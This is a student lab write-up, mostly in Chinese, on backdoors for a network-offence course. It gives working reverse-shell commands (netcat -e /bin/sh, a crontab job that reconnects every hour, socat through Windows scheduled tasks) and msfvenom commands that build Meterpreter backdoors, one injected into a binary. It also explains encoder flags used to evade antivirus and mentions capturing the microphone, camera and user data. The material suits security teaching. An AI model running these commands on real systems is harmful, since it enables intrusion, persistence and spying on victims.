2019-2020-2 20175329许钰玮《网络对抗技术》Exp2 后门原理与实践

一、实验目标

理解后门的概念

  • 后门:不经过正常认证流程而访问系统的通道。
  • 包括以下几种:
    1.编译器后门;
    2.操作系统后门;
    3.应用程序后门(最常见);
    4.潜伏于操作系统中或伪装为特定应用的专用后门程序。

学会使用常用后门工具

  • 通过nc获得linux shell
    netcat又称nc是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    linux下使用man nc查看

  • win10下获取linux的shell
    1.输入ipconfig查看本地ip地址
    2.在ntcat目录下运行并对端口5329打开建立连接
    首先在windows 下运行打开nc并指明通过tcp连接所开放的端口,这里以学号命名5329
    kali下直接使用nc指令nc 192.168.31.56 5329 -e /bin/sh通过nc进入到指定目录下

  • 通过nc获得windows shell
    查询linux的ip地址

    在linux上使用nc 开放连接端口

  • Meterpreter使用
    1.后门就是一个程序。
    传统做法是:有人编写一个后门程序,其他人拿来用。
    升级做法是:编写一个平台能生成后门程序
    2.基本功能(基本的连接、执行指令)
    3.扩展功能(搜集用户信息、安装服务等)
    4.编码模式
    5.运行平台
    6.以及运行参数
    7.全部做成零件或者可调整的参数,用的时候直接组合,生成一个可执行文件即可。
    典型的平台包括
    intersect
    Metaspolit的msfvenom指令
    Veil-evasion
    8.学习如何使用msfvenom生成后门可执行文件Meterpreter
    9.参数说明
    -p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e使用的编码器,用于对shellcode变形,为了免杀。
    -i编码器的迭代次数。如上即使用该编码器编码5次。
    -bbadchar是payload中需要去除的字符。
    LHOST是反弹回连的IP
    LPORT是回连的端口
    -f生成文件的类型
    >输出到哪个文件

二、实验内容

任务一:使用netcat实现windows,linux之间的后门连接

1、 在Windows系统下,监听5329端口

2、 在Kali环境下,用crontab -e指令编辑一条定时任务
crontab指令增加一条定时任务
-e表示编辑
chose 3 for vim
3、 在最后一行添加35 * * * * /bin/netcat 192.168.146.134 5329 -e /bin/sh意思是,每个小时的第35分钟反向连接Windows主机的5329端口

第三十五分钟自动运行脚本获取信息

任务一进阶版:使用netcat、socat实现windows,linux之间的后门连接,任务计划启动

1、 预备知识:
socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

2、 Win+R输入compmgmt.msc打开“计算机管理”

打开图中的任务管理器找到触发器创建任务

创建完任务后输入socat - protcol:ip:port形式进行入侵然后等待触发

任务二:MFS meterpreter生成后门程序,并注入被控端进行远程控制

1.输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.134 LPORT=5329 -f exe > 20175329_backdoor.exe
参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

2.通过ncat.exe -lv 5329 > 20175329_backdoor.exe指令将被控制主机进入接受文件模式


已打开42004端口作为接收方

3、 在Linux中执行nc 192.168.146.134 5329 < 20175329_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

seems transmission already successed.

4.ok now we gotta try set ip and port then get ready to sf

5.already hacked into windows 10, you can input orders at kali

6.the following steps are getting mic,camera,information about windows user.

任务三:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  1. msfvenom is a very useful tools to generate executable backdoor file.We can just use this tools to hack.
    msfvenom -p linux/x86/shell/reverse_tcp -x pwn1 LHOST=127.0.0.1 LPORT=4444 -f elf > pwn5

2.open msfconsole to set the PORT HOST and what mood u wanna use to listen.

3.open backdoor file we already generatedpwn5

4.yep! we already hack into the linux through pwn5!

三、实验中遇到的问题及解决方法

1.在做实验时遇见bindler版本不匹配的问题

一般新版本都会揽括旧版本,这里我们只需将bindler升级至指定版本即可sodu apt-get install bindlerxxx
2.when i were finishing this experiment i found something interesting

i couldn't figure out what's going on with this situation, so i repeated the steps i have done but come to the same error. After seconds of reckon.i realize that win 7 on my vm'operating system bits are 32 bits.so i generated this backdoor.exe and transport to win 10(64 bits).clearly, it successed.

四、实验总结及体会

It's very interesting for me to find out how exploit exist in the operations daily we are using. most important as i google the solution when some problems that i couldn't solve, many of them are english so i wanna try to write down the blog as english. like a rock two birds, not only could i learn how to use kali to find out exploits but also my english level gets a quick progress. tho these experiment took lots of time to get familiar with orders,i had fun while learning from my classmate, Youtube etcs. i do hope i could learn more from these class and truly find pleasure in these hard experiment!

原文地址:https://www.cnblogs.com/xyejava/p/12497325.html